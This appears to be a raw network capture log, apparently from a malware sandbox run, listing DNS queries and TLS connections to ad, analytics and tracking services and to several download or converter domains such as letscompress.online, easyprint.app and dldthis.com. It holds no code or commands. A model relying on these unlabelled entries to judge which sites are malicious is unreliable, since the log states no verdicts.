US 8.8.8.8:53 225.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 1.180.250.142.in-addr.arpa udp
US 8.8.8.8:53 1.129.74.13.in-addr.arpa udp
US 8.8.8.8:53 226.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp
US 8.8.8.8:53 197.249.227.4.in-addr.arpa udp
US 8.8.8.8:53 u.clarity.ms udp
US 4.227.249.197:443 u.clarity.ms tcp
US 8.8.8.8:53 tpc.googlesyndication.com udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
GB 142.250.200.1:443 tpc.googlesyndication.com tcp
GB 142.250.200.1:443 tpc.googlesyndication.com tcp
GB 142.250.200.1:443 tpc.googlesyndication.com tcp
US 8.8.8.8:53 tpc.googlesyndication.com udp
GB 216.58.201.98:443 googleads.g.doubleclick.net tcp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
US 8.8.8.8:53 tpc.googlesyndication.com udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
GB 142.250.200.1:443 tpc.googlesyndication.com udp
GB 216.58.201.98:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 1.200.250.142.in-addr.arpa udp
US 8.8.8.8:53 202.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 98.201.58.216.in-addr.arpa udp
US 8.8.8.8:53 99.201.58.216.in-addr.arpa udp
US 8.8.8.8:53 3.178.250.142.in-addr.arpa udp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
GB 216.58.201.98:443 googleads.g.doubleclick.net tcp
GB 216.58.201.98:443 googleads.g.doubleclick.net tcp
GB 216.58.201.98:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 34.169.217.172.in-addr.arpa udp
US 8.8.8.8:53 www.bolddesk.com udp
US 34.120.202.35:443 www.bolddesk.com tcp
US 8.8.8.8:53 www.bolddesk.com udp
US 8.8.8.8:53 www.bolddesk.com udp
US 34.120.202.35:443 www.bolddesk.com udp
US 8.8.8.8:53 storage.googleapis.com udp
GB 142.250.200.27:443 storage.googleapis.com tcp
US 8.8.8.8:53 storage.googleapis.com udp
US 8.8.8.8:53 storage.googleapis.com udp
GB 142.250.200.27:443 storage.googleapis.com tcp
US 8.8.8.8:53 api.producthunt.com udp
GB 142.250.200.27:443 storage.googleapis.com udp
US 104.18.126.118:443 api.producthunt.com tcp
US 8.8.8.8:53 api.producthunt.com udp
US 8.8.8.8:53 api.producthunt.com udp
US 8.8.8.8:53 support.bolddesk.com udp
US 104.18.126.118:443 api.producthunt.com udp
US 35.244.179.127:443 support.bolddesk.com tcp
US 35.244.179.127:443 support.bolddesk.com tcp
US 8.8.8.8:53 support.bolddesk.com udp
US 8.8.8.8:53 support.bolddesk.com udp
US 8.8.8.8:53 a.omappapi.com udp
US 8.8.8.8:53 omapp.b-cdn.net udp
US 8.8.8.8:53 omapp.b-cdn.net udp
US 35.244.179.127:443 support.bolddesk.com udp
US 8.8.8.8:53 35.202.120.34.in-addr.arpa udp
US 8.8.8.8:53 118.126.18.104.in-addr.arpa udp
US 8.8.8.8:53 27.200.250.142.in-addr.arpa udp
US 8.8.8.8:53 127.179.244.35.in-addr.arpa udp
GB 143.244.38.136:443 omapp.b-cdn.net tcp
GB 143.244.38.136:443 omapp.b-cdn.net tcp
US 8.8.8.8:53 api.omappapi.com udp
US 104.18.2.9:443 api.omappapi.com tcp
US 8.8.8.8:53 api.omappapi.com udp
US 8.8.8.8:53 api.omappapi.com udp
GB 216.58.213.2:443 securepubads.g.doubleclick.net tcp
US 104.18.86.42:443 cdn.cookielaw.org tcp
US 151.101.129.91:443 images.dwncdn.net tcp
US 151.101.65.91:443 images.dwncdn.net tcp
US 104.26.2.70:443 ad-delivery.net tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 n.sni.global.fastly.net udp
US 8.8.8.8:53 sb.scorecardresearch.com udp
AT 18.66.22.10:443 d1ykf07e75w7ss.cloudfront.net tcp
DE 178.63.248.56:443 uidsync.net tcp
US 8.8.8.8:53 136.38.244.143.in-addr.arpa udp
US 8.8.8.8:53 9.2.18.104.in-addr.arpa udp
US 35.244.179.127:443 support.bolddesk.com udp
DE 157.90.33.72:443 uidsync.net tcp
US 8.8.8.8:53 uidsync.net udp
DE 157.90.33.72:443 uidsync.net tcp
US 8.8.8.8:53 di-images.sftcdn.net udp
US 151.101.129.91:443 di-images.sftcdn.net tcp
US 151.101.129.91:443 di-images.sftcdn.net tcp
US 151.101.129.91:443 di-images.sftcdn.net udp
US 8.8.8.8:53 partner.googleadservices.com udp
US 8.8.8.8:53 syndicatedsearch.goog udp
US 8.8.8.8:53 84e46ef85df6eb0cca5c70d425d3553f.safeframe.googlesyndication.com udp
GB 142.250.187.225:443 84e46ef85df6eb0cca5c70d425d3553f.safeframe.googlesyndication.com tcp
US 8.8.8.8:53 84e46ef85df6eb0cca5c70d425d3553f.safeframe.googlesyndication.com udp
US 8.8.8.8:53 84e46ef85df6eb0cca5c70d425d3553f.safeframe.googlesyndication.com udp
GB 172.217.16.226:443 partner.googleadservices.com tcp
US 8.8.8.8:53 partner.googleadservices.com udp
GB 172.217.169.46:443 syndicatedsearch.goog tcp
GB 172.217.169.46:443 syndicatedsearch.goog tcp
US 8.8.8.8:53 syndicatedsearch.goog udp
US 8.8.8.8:53 syndicatedsearch.goog udp
GB 142.250.187.225:443 84e46ef85df6eb0cca5c70d425d3553f.safeframe.googlesyndication.com udp
GB 172.217.16.226:443 partner.googleadservices.com udp
GB 172.217.169.46:443 syndicatedsearch.goog udp
US 8.8.8.8:53 72.33.90.157.in-addr.arpa udp
US 8.8.8.8:53 226.16.217.172.in-addr.arpa udp
US 8.8.8.8:53 225.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 46.169.217.172.in-addr.arpa udp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 cdn.ampproject.org udp
GB 172.217.169.65:443 cdn.ampproject.org tcp
GB 172.217.169.65:443 cdn.ampproject.org tcp
GB 172.217.169.65:443 cdn.ampproject.org tcp
US 8.8.8.8:53 cdn-content.ampproject.org udp
GB 172.217.169.65:443 cdn-content.ampproject.org tcp
GB 172.217.169.65:443 cdn-content.ampproject.org tcp
GB 172.217.169.65:443 cdn-content.ampproject.org tcp
US 8.8.8.8:53 cdn-content.ampproject.org udp
GB 172.217.169.65:443 cdn-content.ampproject.org udp
US 8.8.8.8:53 n.sni.global.fastly.net udp
US 8.8.8.8:53 65.169.217.172.in-addr.arpa udp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 n.sni.global.fastly.net udp
US 8.8.8.8:53 download.letscompress.online udp
GB 79.127.237.132:443 download.letscompress.online tcp
US 8.8.8.8:53 download-lets-compress-com.b-cdn.net udp
US 8.8.8.8:53 download-lets-compress-com.b-cdn.net udp
US 8.8.8.8:53 download.get-lets-compress.com udp
GB 79.127.237.132:443 download.get-lets-compress.com tcp
US 8.8.8.8:53 get-lets-compress.b-cdn.net udp
US 8.8.8.8:53 get-lets-compress.b-cdn.net udp
US 8.8.8.8:53 132.237.127.79.in-addr.arpa udp
US 8.8.8.8:53 location.services.mozilla.com udp
US 8.8.8.8:53 prod.balrog.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 prod.classify-client.prod.webservices.mozgcp.net udp
US 35.190.72.216:443 prod.classify-client.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.classify-client.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 216.72.190.35.in-addr.arpa udp
US 8.8.8.8:53 201.181.244.35.in-addr.arpa udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 ciscobinary.openh264.org udp
US 8.8.8.8:53 redirector.gvt1.com udp
GB 142.250.178.14:443 redirector.gvt1.com tcp
US 8.8.8.8:53 redirector.gvt1.com udp
US 8.8.8.8:53 redirector.gvt1.com udp
GB 88.221.134.155:80 ciscobinary.openh264.org tcp
US 8.8.8.8:53 a19.dscg10.akamai.net udp
US 8.8.8.8:53 a19.dscg10.akamai.net udp
GB 142.250.178.14:443 redirector.gvt1.com udp
US 8.8.8.8:53 r4---sn-aigzrnsz.gvt1.com udp
GB 74.125.175.169:443 r4---sn-aigzrnsz.gvt1.com tcp
US 8.8.8.8:53 r4.sn-aigzrnsz.gvt1.com udp
US 8.8.8.8:53 r4.sn-aigzrnsz.gvt1.com udp
GB 74.125.175.169:443 r4.sn-aigzrnsz.gvt1.com udp
US 8.8.8.8:53 14.178.250.142.in-addr.arpa udp
US 8.8.8.8:53 155.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 169.175.125.74.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 2.36.159.162.in-addr.arpa udp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 assets.dwncdn.net udp
US 8.8.8.8:53 swls.map.fastly.net udp
US 8.8.8.8:53 swls.map.fastly.net udp
US 8.8.8.8:53 region1.google-analytics.com udp
US 8.8.8.8:53 di-images.sftcdn.net udp
US 8.8.8.8:53 sb.scorecardresearch.com udp
US 8.8.8.8:53 www.clarity.ms udp
US 8.8.8.8:53 cdn.ampproject.org udp
US 8.8.8.8:53 tpc.googlesyndication.com udp
US 8.8.8.8:53 region1.google-analytics.com udp
US 8.8.8.8:53 tpc.googlesyndication.com udp
GB 142.250.200.1:443 tpc.googlesyndication.com tcp
US 13.107.246.64:443 www.clarity.ms tcp
GB 172.217.169.65:443 cdn.ampproject.org tcp
AT 13.32.110.8:443 sb.scorecardresearch.com tcp
US 8.8.8.8:53 s-part-0036.t-0009.t-msedge.net udp
US 8.8.8.8:53 cdn-content.ampproject.org udp
US 8.8.8.8:53 sb.scorecardresearch.com udp
US 8.8.8.8:53 region1.google-analytics.com udp
US 8.8.8.8:53 tpc.googlesyndication.com udp
US 8.8.8.8:53 images.dwncdn.net udp
US 8.8.8.8:53 cdn-content.ampproject.org udp
US 8.8.8.8:53 sb.scorecardresearch.com udp
US 8.8.8.8:53 s-part-0036.t-0009.t-msedge.net udp
DE 178.63.248.56:443 uidsync.net tcp
US 8.8.8.8:53 ag.dns-finder.com udp
US 8.8.8.8:53 uidsync.net udp
DE 157.90.33.72:443 uidsync.net tcp
US 8.8.8.8:53 uidsync.net udp
DE 157.90.33.72:443 uidsync.net tcp
US 8.8.8.8:53 ae0f13acd39c798029247d481a19725f.safeframe.googlesyndication.com udp
US 216.58.212.193:443 ae0f13acd39c798029247d481a19725f.safeframe.googlesyndication.com tcp
US 8.8.8.8:53 ae0f13acd39c798029247d481a19725f.safeframe.googlesyndication.com udp
US 8.8.8.8:53 ae0f13acd39c798029247d481a19725f.safeframe.googlesyndication.com udp
US 216.58.212.193:443 ae0f13acd39c798029247d481a19725f.safeframe.googlesyndication.com tcp
US 216.58.212.193:443 ae0f13acd39c798029247d481a19725f.safeframe.googlesyndication.com udp
GB 142.250.178.4:443 www.google.com udp
US 8.8.8.8:53 c.bing.com udp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
US 8.8.8.8:53 193.212.58.216.in-addr.arpa udp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 push-sdk.com udp
US 8.8.8.8:53 btloader.com udp
US 8.8.8.8:53 cdn.btmessage.com udp
US 8.8.8.8:53 ep2.adtrafficquality.google udp
US 8.8.8.8:53 c.clarity.ms udp
US 8.8.8.8:53 ep1.adtrafficquality.google udp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 push-sdk.com udp
US 8.8.8.8:53 ep1.adtrafficquality.google udp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 btloader.com udp
US 8.8.8.8:53 c-msn-pme.trafficmanager.net udp
US 8.8.8.8:53 cdn.btmessage.com udp
US 8.8.8.8:53 ep2.adtrafficquality.google udp
US 4.227.249.197:443 u.clarity.ms tcp
US 8.8.8.8:53 btloader.com udp
US 8.8.8.8:53 c-msn-pme.trafficmanager.net udp
US 8.8.8.8:53 ep1.adtrafficquality.google udp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 ep2.adtrafficquality.google udp
US 8.8.8.8:53 cdn.btmessage.com udp
US 8.8.8.8:53 push-sdk.com udp
US 4.227.249.197:443 u.clarity.ms tcp
US 8.8.8.8:53 20eb23036760c437c79c735132928486.safeframe.googlesyndication.com udp
GB 172.217.169.65:443 20eb23036760c437c79c735132928486.safeframe.googlesyndication.com tcp
US 8.8.8.8:53 s-part-0036.t-0009.t-msedge.net udp
US 8.8.8.8:53 20eb23036760c437c79c735132928486.safeframe.googlesyndication.com udp
US 8.8.8.8:53 20eb23036760c437c79c735132928486.safeframe.googlesyndication.com udp
GB 172.217.169.65:443 20eb23036760c437c79c735132928486.safeframe.googlesyndication.com udp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 adclick.g.doubleclick.net udp
US 8.8.8.8:53 adclick.g.doubleclick.net udp
US 8.8.8.8:53 convertmasterapp.com udp
US 104.18.26.91:443 convertmasterapp.com tcp
US 8.8.8.8:53 convertmasterapp.com udp
US 8.8.8.8:53 dev.visualwebsiteoptimizer.com udp
US 8.8.8.8:53 unpkg.com udp
US 104.17.246.203:443 unpkg.com tcp
US 8.8.8.8:53 unpkg.com udp
US 34.107.218.251:443 dev.visualwebsiteoptimizer.com tcp
US 8.8.8.8:53 dev.visualwebsiteoptimizer.com udp
US 8.8.8.8:53 unpkg.com udp
US 8.8.8.8:53 dev.visualwebsiteoptimizer.com udp
US 8.8.8.8:53 2.200.250.142.in-addr.arpa udp
US 8.8.8.8:53 91.26.18.104.in-addr.arpa udp
US 8.8.8.8:53 203.246.17.104.in-addr.arpa udp
US 8.8.8.8:53 251.218.107.34.in-addr.arpa udp
US 34.107.218.251:443 dev.visualwebsiteoptimizer.com udp
GB 142.250.178.4:443 www.google.com tcp
US 8.8.8.8:53 static.ads-twitter.com udp
US 8.8.8.8:53 www.redditstatic.com udp
US 8.8.8.8:53 bat.bing.com udp
US 8.8.8.8:53 snap.licdn.com udp
US 8.8.8.8:53 r.wdfl.co udp
US 8.8.8.8:53 tracking.g2crowd.com udp
US 8.8.8.8:53 us-assets.i.posthog.com udp
US 8.8.8.8:53 app.factors.ai udp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
US 151.101.1.140:443 www.redditstatic.com tcp
GB 151.101.188.157:443 static.ads-twitter.com tcp
AT 3.165.206.6:443 r.wdfl.co tcp
US 8.8.8.8:53 dualstack.reddit.map.fastly.net udp
US 8.8.8.8:53 platform.twitter.map.fastly.net udp
US 8.8.8.8:53 d2qumtq956sbet.cloudfront.net udp
US 8.8.8.8:53 a1916.dscg2.akamai.net udp
US 104.18.31.176:443 tracking.g2crowd.com tcp
US 8.8.8.8:53 tracking.g2crowd.com udp
US 104.22.59.181:443 us-assets.i.posthog.com tcp
US 8.8.8.8:53 us-assets.i.posthog.com udp
US 151.101.65.195:443 app.factors.ai tcp
US 8.8.8.8:53 app.factors.ai udp
US 8.8.8.8:53 tracking.g2crowd.com udp
US 8.8.8.8:53 d2qumtq956sbet.cloudfront.net udp
US 8.8.8.8:53 a1916.dscg2.akamai.net udp
US 8.8.8.8:53 dualstack.reddit.map.fastly.net udp
US 8.8.8.8:53 platform.twitter.map.fastly.net udp
US 8.8.8.8:53 us-assets.i.posthog.com udp
GB 142.250.178.4:443 www.google.com udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
US 8.8.8.8:53 app.factors.ai udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
US 8.8.8.8:53 pixel-config.reddit.com udp
US 8.8.8.8:53 alb.reddit.com udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
US 151.101.1.140:443 alb.reddit.com tcp
US 8.8.8.8:53 reddit.map.fastly.net udp
US 104.22.59.181:443 us-assets.i.posthog.com tcp
US 8.8.8.8:53 us.i.posthog.com udp
US 151.101.65.195:443 app.factors.ai udp
US 151.101.65.140:443 reddit.map.fastly.net tcp
US 8.8.8.8:53 api.factors.ai udp
US 8.8.8.8:53 reddit.map.fastly.net udp
US 34.228.127.45:443 us.i.posthog.com tcp
US 8.8.8.8:53 posthog-ingress-prod-us-256455477.us-east-1.elb.amazonaws.com udp
US 34.160.69.120:443 api.factors.ai tcp
US 8.8.8.8:53 api.factors.ai udp
US 34.160.69.120:443 api.factors.ai tcp
US 8.8.8.8:53 tracking-api.g2.com udp
US 8.8.8.8:53 api.factors.ai udp
US 8.8.8.8:53 posthog-ingress-prod-us-256455477.us-east-1.elb.amazonaws.com udp
US 8.8.8.8:53 region1.analytics.google.com udp
US 8.8.8.8:53 stats.g.doubleclick.net udp
US 104.16.186.41:443 tracking-api.g2.com tcp
US 8.8.8.8:53 tracking-api.g2.com udp
US 216.239.32.36:443 region1.analytics.google.com tcp
US 8.8.8.8:53 region1.analytics.google.com udp
US 8.8.8.8:53 stats.g.doubleclick.net udp
US 8.8.8.8:53 tracking-api.g2.com udp
US 8.8.8.8:53 stats.g.doubleclick.net udp
US 8.8.8.8:53 region1.analytics.google.com udp
US 216.239.32.36:443 region1.analytics.google.com udp
US 34.160.69.120:443 api.factors.ai udp
US 8.8.8.8:53 140.1.101.151.in-addr.arpa udp
US 8.8.8.8:53 176.31.18.104.in-addr.arpa udp
US 8.8.8.8:53 181.59.22.104.in-addr.arpa udp
US 8.8.8.8:53 6.206.165.3.in-addr.arpa udp
US 8.8.8.8:53 195.65.101.151.in-addr.arpa udp
US 8.8.8.8:53 120.69.160.34.in-addr.arpa udp
US 8.8.8.8:53 45.127.228.34.in-addr.arpa udp
US 8.8.8.8:53 41.186.16.104.in-addr.arpa udp
US 8.8.8.8:53 36.32.239.216.in-addr.arpa udp
US 150.171.28.10:443 bat.bing.com tcp
GB 2.19.252.143:443 snap.licdn.com tcp
US 151.101.65.140:443 reddit.map.fastly.net tcp
US 34.160.69.120:443 api.factors.ai udp
US 8.8.8.8:53 px.ads.linkedin.com udp
US 13.107.42.14:443 px.ads.linkedin.com tcp
US 8.8.8.8:53 l-0005.l-msedge.net udp
US 8.8.8.8:53 l-0005.l-msedge.net udp
BE 74.125.206.157:443 stats.g.doubleclick.net tcp
BE 74.125.206.157:443 stats.g.doubleclick.net udp
US 8.8.8.8:53 143.252.19.2.in-addr.arpa udp
US 8.8.8.8:53 14.42.107.13.in-addr.arpa udp
US 8.8.8.8:53 157.206.125.74.in-addr.arpa udp
US 8.8.8.8:53 easyprint.app udp
GB 18.165.227.56:443 easyprint.app tcp
US 8.8.8.8:53 easyprint.app udp
US 8.8.8.8:53 easyprint.app udp
GB 142.250.178.4:443 www.google.com tcp
US 8.8.8.8:53 a.omappapi.com udp
GB 142.250.178.4:443 www.google.com udp
US 8.8.8.8:53 omapp.b-cdn.net udp
US 8.8.8.8:53 images.unsplash.com udp
US 8.8.8.8:53 omapp.b-cdn.net udp
US 151.101.130.208:443 images.unsplash.com tcp
US 8.8.8.8:53 dualstack.com.imgix.map.fastly.net udp
US 8.8.8.8:53 dualstack.com.imgix.map.fastly.net udp
US 216.239.32.36:443 region1.analytics.google.com tcp
US 8.8.8.8:53 www.google.co.uk udp
US 8.8.8.8:53 www.google.co.uk udp
GB 142.250.187.227:443 www.google.co.uk tcp
GB 142.250.187.227:443 www.google.co.uk tcp
US 8.8.8.8:53 www.google.co.uk udp
US 216.239.32.36:443 region1.analytics.google.com udp
GB 142.250.187.227:443 www.google.co.uk udp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 cdn.easyprint.app udp
BE 74.125.206.157:443 stats.g.doubleclick.net tcp
US 8.8.8.8:53 containers.easyprint.app udp
AT 13.32.110.63:443 containers.easyprint.app tcp
US 8.8.8.8:53 d1bhiuzzocuycl.cloudfront.net udp
US 8.8.8.8:53 56.227.165.18.in-addr.arpa udp
US 8.8.8.8:53 208.130.101.151.in-addr.arpa udp
US 8.8.8.8:53 227.187.250.142.in-addr.arpa udp
BE 74.125.206.157:443 stats.g.doubleclick.net tcp
US 8.8.8.8:53 rep.convertmasterapp.com udp
US 8.8.8.8:53 63.110.32.13.in-addr.arpa udp
AT 3.165.206.43:443 cdn.easyprint.app tcp
US 8.8.8.8:53 d113e6q5xjybrb.cloudfront.net udp
BE 74.125.206.157:443 stats.g.doubleclick.net udp
US 8.8.8.8:53 d1bhiuzzocuycl.cloudfront.net udp
AT 3.165.206.43:443 d113e6q5xjybrb.cloudfront.net tcp
US 104.18.27.91:443 rep.convertmasterapp.com tcp
US 8.8.8.8:53 rep.convertmasterapp.com udp
US 8.8.8.8:53 rep.convertmasterapp.com udp
US 8.8.8.8:53 cloudfront.easyprint.app udp
AT 13.32.110.68:443 cloudfront.easyprint.app tcp
US 8.8.8.8:53 ds4zyig8wqbvu.cloudfront.net udp
US 8.8.8.8:53 ds4zyig8wqbvu.cloudfront.net udp
US 8.8.8.8:53 43.206.165.3.in-addr.arpa udp
US 8.8.8.8:53 91.27.18.104.in-addr.arpa udp
US 8.8.8.8:53 68.110.32.13.in-addr.arpa udp
US 8.8.8.8:53 d113e6q5xjybrb.cloudfront.net udp
US 8.8.8.8:53 app.termly.io udp
GB 142.250.178.4:443 www.google.com tcp
US 8.8.8.8:53 p.easyprint.app udp
US 104.18.30.234:443 app.termly.io tcp
US 8.8.8.8:53 app.termly.io udp
US 104.21.1.51:443 p.easyprint.app tcp
US 8.8.8.8:53 p.easyprint.app udp
US 8.8.8.8:53 app.termly.io udp
US 8.8.8.8:53 p.easyprint.app udp
GB 142.250.178.4:443 www.google.com udp
US 104.18.30.234:443 app.termly.io udp
US 216.239.32.36:443 region1.analytics.google.com tcp
GB 142.250.187.227:443 www.google.co.uk tcp
US 104.18.30.234:443 app.termly.io udp
US 216.239.32.36:443 region1.analytics.google.com udp
GB 142.250.187.227:443 www.google.co.uk udp
US 8.8.8.8:53 234.30.18.104.in-addr.arpa udp
US 8.8.8.8:53 51.1.21.104.in-addr.arpa udp
US 104.21.1.51:443 p.easyprint.app udp
US 8.8.8.8:53 static.hotjar.com udp
AT 13.32.110.52:443 static.hotjar.com tcp
US 8.8.8.8:53 static-cdn.hotjar.com udp
BE 74.125.206.157:443 stats.g.doubleclick.net tcp
US 8.8.8.8:53 static-cdn.hotjar.com udp
BE 74.125.206.157:443 stats.g.doubleclick.net udp
US 8.8.8.8:53 script.hotjar.com udp
AT 3.165.206.52:443 script.hotjar.com tcp
US 8.8.8.8:53 script.hotjar.com udp
US 8.8.8.8:53 ws.hotjar.com udp
US 8.8.8.8:53 wsky-live.live.eks.hotjar.com udp
IE 54.170.232.252:443 ws.hotjar.com tcp
US 8.8.8.8:53 wsky-live.live.eks.hotjar.com udp
US 8.8.8.8:53 52.110.32.13.in-addr.arpa udp
US 8.8.8.8:53 52.206.165.3.in-addr.arpa udp
US 8.8.8.8:53 252.232.170.54.in-addr.arpa udp
US 8.8.8.8:53 u.clarity.ms udp
IE 54.170.232.252:443 ws.hotjar.com tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 bat.bing.com udp
US 8.8.8.8:53 content.hotjar.io udp
IE 34.252.143.210:443 content.hotjar.io tcp
US 8.8.8.8:53 pacman-content-live.live.eks.hotjar.com udp
US 8.8.8.8:53 pacman-content-live.live.eks.hotjar.com udp
US 8.8.8.8:53 210.143.252.34.in-addr.arpa udp
US 8.8.8.8:53 www.clarity.ms udp
US 13.107.246.64:443 www.clarity.ms tcp
US 8.8.8.8:53 download.cnet.com udp
US 8.8.8.8:53 s-part-0036.t-0009.t-msedge.net udp
US 8.8.8.8:53 n.sni.global.fastly.net udp
US 8.8.8.8:53 swls.map.fastly.net udp
US 8.8.8.8:53 n.sni.global.fastly.net udp
US 8.8.8.8:53 30b8bd8675283255d17e558aee86b67f.safeframe.googlesyndication.com udp
GB 216.58.204.65:443 30b8bd8675283255d17e558aee86b67f.safeframe.googlesyndication.com tcp
US 8.8.8.8:53 30b8bd8675283255d17e558aee86b67f.safeframe.googlesyndication.com udp
US 8.8.8.8:53 www.clarity.ms udp
US 8.8.8.8:53 30b8bd8675283255d17e558aee86b67f.safeframe.googlesyndication.com udp
US 8.8.8.8:53 s-part-0036.t-0009.t-msedge.net udp
GB 216.58.204.65:443 30b8bd8675283255d17e558aee86b67f.safeframe.googlesyndication.com udp
US 8.8.8.8:53 c.bing.com udp
US 8.8.8.8:53 65.204.58.216.in-addr.arpa udp
GB 172.217.169.65:443 20eb23036760c437c79c735132928486.safeframe.googlesyndication.com udp
GB 216.58.201.98:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 images.dwncdn.net udp
US 8.8.8.8:53 prod.downloadnow.com udp
US 151.101.129.91:443 prod.downloadnow.com tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 t.co udp
US 8.8.8.8:53 analytics.twitter.com udp
US 162.159.140.229:443 t.co tcp
US 8.8.8.8:53 t.co udp
US 104.244.42.131:443 analytics.twitter.com tcp
US 8.8.8.8:53 s.twitter.com udp
US 8.8.8.8:53 t.co udp
US 8.8.8.8:53 s.twitter.com udp
US 8.8.8.8:53 z.omappapi.com udp
US 104.18.3.9:443 z.omappapi.com tcp
US 8.8.8.8:53 z.omappapi.com udp
US 8.8.8.8:53 z.omappapi.com udp
US 8.8.8.8:53 229.140.159.162.in-addr.arpa udp
US 8.8.8.8:53 131.42.244.104.in-addr.arpa udp
US 8.8.8.8:53 9.3.18.104.in-addr.arpa udp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 34.120.202.35:443 www.bolddesk.com udp
US 8.8.8.8:53 app.bolddesk.com udp
US 8.8.8.8:53 posthog-ingress-prod-us-256455477.us-east-1.elb.amazonaws.com udp
US 8.8.8.8:53 app.bolddesk.com udp
US 35.244.179.127:443 app.bolddesk.com tcp
US 8.8.8.8:53 posthog-ingress-prod-us-256455477.us-east-1.elb.amazonaws.com udp
US 8.8.8.8:53 app.bolddesk.com udp
US 35.244.179.127:443 app.bolddesk.com udp
US 8.8.8.8:53 cdn.syncfusion.com udp
GB 142.250.200.27:443 storage.googleapis.com udp
US 35.244.179.127:443 app.bolddesk.com udp
AT 13.32.110.6:443 cdn.syncfusion.com tcp
US 8.8.8.8:53 d2g29cya9iq7ip.cloudfront.net udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 d2g29cya9iq7ip.cloudfront.net udp
US 8.8.8.8:53 6.110.32.13.in-addr.arpa udp
US 8.8.8.8:53 s-part-0036.t-0009.t-msedge.net udp
US 8.8.8.8:53 static.ads-twitter.com udp
US 8.8.8.8:53 www.redditstatic.com udp
US 8.8.8.8:53 snap.licdn.com udp
US 8.8.8.8:53 api.factors.ai udp
US 8.8.8.8:53 a1916.dscg2.akamai.net udp
US 8.8.8.8:53 dualstack.reddit.map.fastly.net udp
US 8.8.8.8:53 a1916.dscg2.akamai.net udp
US 8.8.8.8:53 api.factors.ai udp
US 8.8.8.8:53 platform.twitter.map.fastly.net udp
US 8.8.8.8:53 platform.twitter.map.fastly.net udp
US 13.107.246.64:443 www.clarity.ms tcp
US 8.8.8.8:53 api.factors.ai udp
US 8.8.8.8:53 api.factors.ai udp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 dldthis.com udp
US 45.63.64.210:443 dldthis.com tcp
US 8.8.8.8:53 dldthis.com udp
US 8.8.8.8:53 dldthis.com udp
US 8.8.8.8:53 210.64.63.45.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
GB 216.58.213.2:443 securepubads.g.doubleclick.net udp
GB 172.217.169.65:443 20eb23036760c437c79c735132928486.safeframe.googlesyndication.com udp
GB 142.250.200.1:443 tpc.googlesyndication.com udp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 4.227.249.197:443 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
